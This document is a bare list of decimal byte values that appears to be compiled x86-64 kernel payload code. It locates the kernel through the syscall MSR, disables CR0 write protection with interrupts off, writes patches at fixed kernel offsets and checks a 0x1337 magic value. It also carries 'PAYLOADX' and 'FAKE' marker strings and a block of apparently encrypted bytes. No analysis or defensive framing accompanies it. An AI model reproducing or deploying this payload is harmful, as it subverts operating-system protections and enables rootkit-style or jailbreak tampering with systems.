255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,63,33,0,0,69,49,201,80,69,49,192,255,21,193,34,0,0,89,72,141,21,153,34,0,0,137,199,72,141,53,71,33,0,0,233,192,254,255,255,0,0,0,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,103,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,47,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,192,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,177,32,0,0,72,139,53,58,32,0,0,76,137,247,49,210,255,21,175,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,205,31,0,0,72,139,53,14,32,0,0,76,137,247,255,21,125,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,66,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,219,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,184,31,0,0,76,141,84,36,112,76,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,145,31,0,0,72,141,5,234,27,0,0,72,137,132,36,144,0,0,0,72,141,5,91,27,0,0,72,137,132,36,152,0,0,0,72,141,5,204,26,0,0,72,137,132,36,160,0,0,0,72,141,5,61,26,0,0,72,137,132,36,168,0,0,0,72,141,5,174,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,206,30,0,0,49,210,72,137,239,255,21,67,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,113,30,0,0,72,139,53,170,30,0,0,72,137,239,65,137,199,255,21,22,31,0,0,69,133,255,15,133,217,1,0,0,72,139,61,182,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,37,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,200,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,28,30,0,0,49,210,72,137,239,255,21,145,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,105,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,143,24,0,0,76,137,214,76,137,215,255,21,139,29,0,0,72,139,53,212,29,0,0,72,137,239,137,68,36,16,255,21,63,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,6,30,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,107,29,0,0,49,210,72,137,239,255,21,224,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,184,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,227,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,218,28,0,0,72,139,53,35,29,0,0,72,137,239,65,137,198,255,21,143,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,140,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,116,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,91,28,0,0,72,139,61,252,28,0,0,255,21,110,29,0,0,235,16,72,139,61,237,28,0,0,69,49,228,255,21,92,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,201,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,36,29,0,0,65,137,196,72,139,5,146,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,115,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,39,28,0,0,72,141,115,12,186,32,0,0,0,255,21,120,28,0,0,72,139,5,9,28,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,125,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,199,27,0,0,49,210,72,137,239,255,21,60,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,98,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,58,27,0,0,133,192,117,3,65,137,196,72,139,53,132,27,0,0,72,137,239,255,21,243,27,0,0,72,131,196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,189,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,117,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,89,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,48,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,117,224,100,0,41,202,137,144,177,222,100,0,72,141,21,214,254,255,255,129,234,67,238,100,0,41,202,137,144,127,236,100,0,72,141,21,73,249,255,255,129,234,26,74,98,0,41,202,137,144,86,72,98,0,72,141,21,146,253,255,255,129,234,82,8,98,0,41,202,137,144,142,6,98,0,72,141,21,17,250,255,255,68,141,130,2,193,147,255,129,234,47,65,108,0,65,41,200,41,202,68,137,128,58,61,108,0,137,144,107,63,108,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,161,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,89,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,176,25,0,0,65,188,12,0,0,0,72,139,53,171,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,216,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,148,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,132,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,200,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,93,25,0,0,139,68,36,8,76,137,247,72,139,53,39,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,95,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,124,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,208,21,0,0,72,137,124,36,8,76,137,230,255,21,2,25,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,196,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,67,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,244,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,131,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,86,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,104,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,208,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,29,20,0,0,255,21,31,23,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,255,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,133,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,128,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,241,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,169,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,147,72,100,0,41,209,137,136,207,70,100,0,72,141,13,36,251,255,255,68,141,129,213,175,155,255,129,233,14,93,100,0,41,209,65,41,208,137,136,74,91,100,0,72,141,13,91,252,255,255,129,233,50,35,100,0,68,137,128,103,78,100,0,41,209,137,136,110,33,100,0,72,141,13,90,254,255,255,129,233,109,47,100,0,41,209,137,136,169,45,100,0,72,141,13,222,251,255,255,129,233,65,71,100,0,41,209,137,136,125,69,100,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,122,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,104,20,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,246,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,156,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,125,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,24,18,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,74,18,0,0,72,137,223,255,21,177,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,130,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,89,17,0,0,233,186,0,0,0,255,21,70,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,20,17,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,11,17,0,0,72,137,239,255,21,18,17,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,208,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,147,16,0,0,72,137,239,255,21,154,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,32,32,86,1,72,137,21,193,16,0,0,72,141,144,56,156,87,1,72,137,21,171,16,0,0,72,141,144,32,69,185,1,72,137,21,149,16,0,0,72,141,144,232,106,100,2,72,137,21,127,16,0,0,72,141,144,128,217,100,2,72,137,21,105,16,0,0,72,141,144,120,128,100,2,72,137,21,83,16,0,0,72,141,144,136,128,100,2,72,137,21,61,16,0,0,72,141,144,64,190,100,2,72,137,21,39,16,0,0,72,141,144,72,198,100,2,72,137,21,17,16,0,0,72,141,144,0,64,101,2,72,137,21,251,15,0,0,72,141,144,80,1,16,1,72,137,21,229,15,0,0,72,141,144,96,28,39,0,72,137,21,143,16,0,0,72,141,144,80,228,67,0,72,137,21,121,16,0,0,72,141,144,16,230,67,0,72,137,21,99,16,0,0,72,141,144,96,25,48,0,72,137,21,77,16,0,0,72,141,144,32,27,48,0,72,137,21,55,16,0,0,72,141,144,240,120,72,0,72,137,21,33,16,0,0,72,141,144,16,149,33,0,72,137,21,11,16,0,0,72,141,144,208,149,33,0,72,137,21,245,15,0,0,72,141,144,240,18,39,0,72,137,21,223,15,0,0,72,141,144,0,149,20,0,72,137,21,201,15,0,0,72,141,144,144,242,48,0,72,137,21,179,15,0,0,72,141,144,112,120,11,0,72,137,21,157,15,0,0,72,141,144,176,129,15,0,72,137,21,135,15,0,0,72,141,144,16,187,8,0,72,137,21,25,15,0,0,72,141,144,128,10,99,0,72,137,21,3,15,0,0,72,141,144,224,55,100,0,72,137,21,237,14,0,0,72,141,144,32,64,100,0,72,137,21,215,14,0,0,72,141,144,32,253,99,0,72,137,21,193,14,0,0,72,141,144,64,56,100,0,72,137,21,171,14,0,0,72,141,144,16,81,98,0,72,137,21,109,14,0,0,72,141,144,16,248,97,0,72,137,21,71,14,0,0,72,141,144,208,244,97,0,72,137,21,65,14,0,0,72,141,144,176,71,98,0,72,137,21,59,14,0,0,72,141,144,160,240,97,0,72,137,21,21,14,0,0,72,141,144,16,205,97,0,72,137,21,47,14,0,0,72,141,144,240,38,70,0,72,137,21,65,14,0,0,72,141,144,16,241,31,0,72,137,21,35,14,0,0,72,141,144,64,243,31,0,72,137,21,13,14,0,0,72,141,144,160,78,68,0,72,137,21,15,14,0,0,72,141,144,64,233,65,0,72,137,21,145,13,0,0,72,141,144,32,184,7,0,72,137,21,171,13,0,0,72,141,144,80,182,7,0,72,137,21,149,13,0,0,72,141,144,192,185,7,0,72,137,21,127,13,0,0,72,141,144,16,186,7,0,72,5,0,192,7,0,72,137,21,99,13,0,0,72,137,5,84,13,0,0,195,243,15,30,250,80,49,192,232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,117,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,30,14,0,0,255,37,96,14,0,0,72,139,5,1,14,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,104,14,0,0,72,137,223,255,21,15,14,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,166,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,135,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,43,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,24,12,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,235,11,0,0,233,239,0,0,0,255,21,216,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,184,11,0,0,133,192,117,44,72,139,53,165,12,0,0,65,107,252,58,186,2,0,0,0,255,21,230,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,131,11,0,0,72,137,239,255,21,138,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,67,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,247,10,0,0,72,137,239,255,21,254,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,140,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,225,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,44,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,15,2,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,107,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,174,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,155,7,50,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,129,1,0,0,72,141,179,255,122,61,0,77,137,224,72,141,13,108,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,91,1,0,0,72,141,179,160,141,19,0,77,137,224,72,141,13,225,8,0,0,186,2,0,0,0,72,137,239,232,167,252,255,255,133,192,15,133,53,1,0,0,76,141,53,200,8,0,0,72,141,179,144,142,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,126,252,255,255,133,192,15,133,12,1,0,0,72,141,179,167,94,60,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,234,0,0,0,72,141,179,64,133,60,0,77,137,224,72,141,13,117,8,0,0,186,4,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,196,0,0,0,72,141,179,17,50,253,0,77,137,224,72,141,13,184,8,0,0,186,5,0,0,0,72,137,239,232,16,252,255,255,133,192,15,133,158,0,0,0,72,141,179,129,10,161,0,77,137,224,72,141,13,152,8,0,0,186,1,0,0,0,72,137,239,232,234,251,255,255,133,192,117,124,72,141,179,253,128,97,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,204,251,255,255,133,192,117,94,72,141,179,89,241,115,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,174,251,255,255,133,192,117,64,72,141,179,182,200,56,0,77,137,224,72,141,13,208,7,0,0,186,5,0,0,0,72,137,239,232,140,251,255,255,133,192,117,30,72,141,179,95,126,213,0,77,137,224,72,141,13,170,7,0,0,186,3,0,0,0,72,137,239,232,106,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,4,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,104,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,191,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,162,251,255,255,69,49,246,76,141,61,33,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,228,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,16,140,24,0,77,137,224,72,141,13,160,6,0,0,186,4,0,0,0,72,137,239,232,97,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,159,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,117,8,0,0,72,141,13,135,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,119,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,22,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,192,209,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,170,249,255,255,133,192,117,26,72,141,179,32,213,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,140,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,38,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,196,5,0,0,72,199,68,36,24,0,0,0,0,232,253,248,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,222,249,255,255,69,49,228,76,141,45,93,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,39,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,155,3,16,0,72,141,13,64,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,173,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,182,3,16,0,72,141,13,25,5,0,0,186,2,0,0,0,72,137,239,232,137,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,35,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,144,102,33,2,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,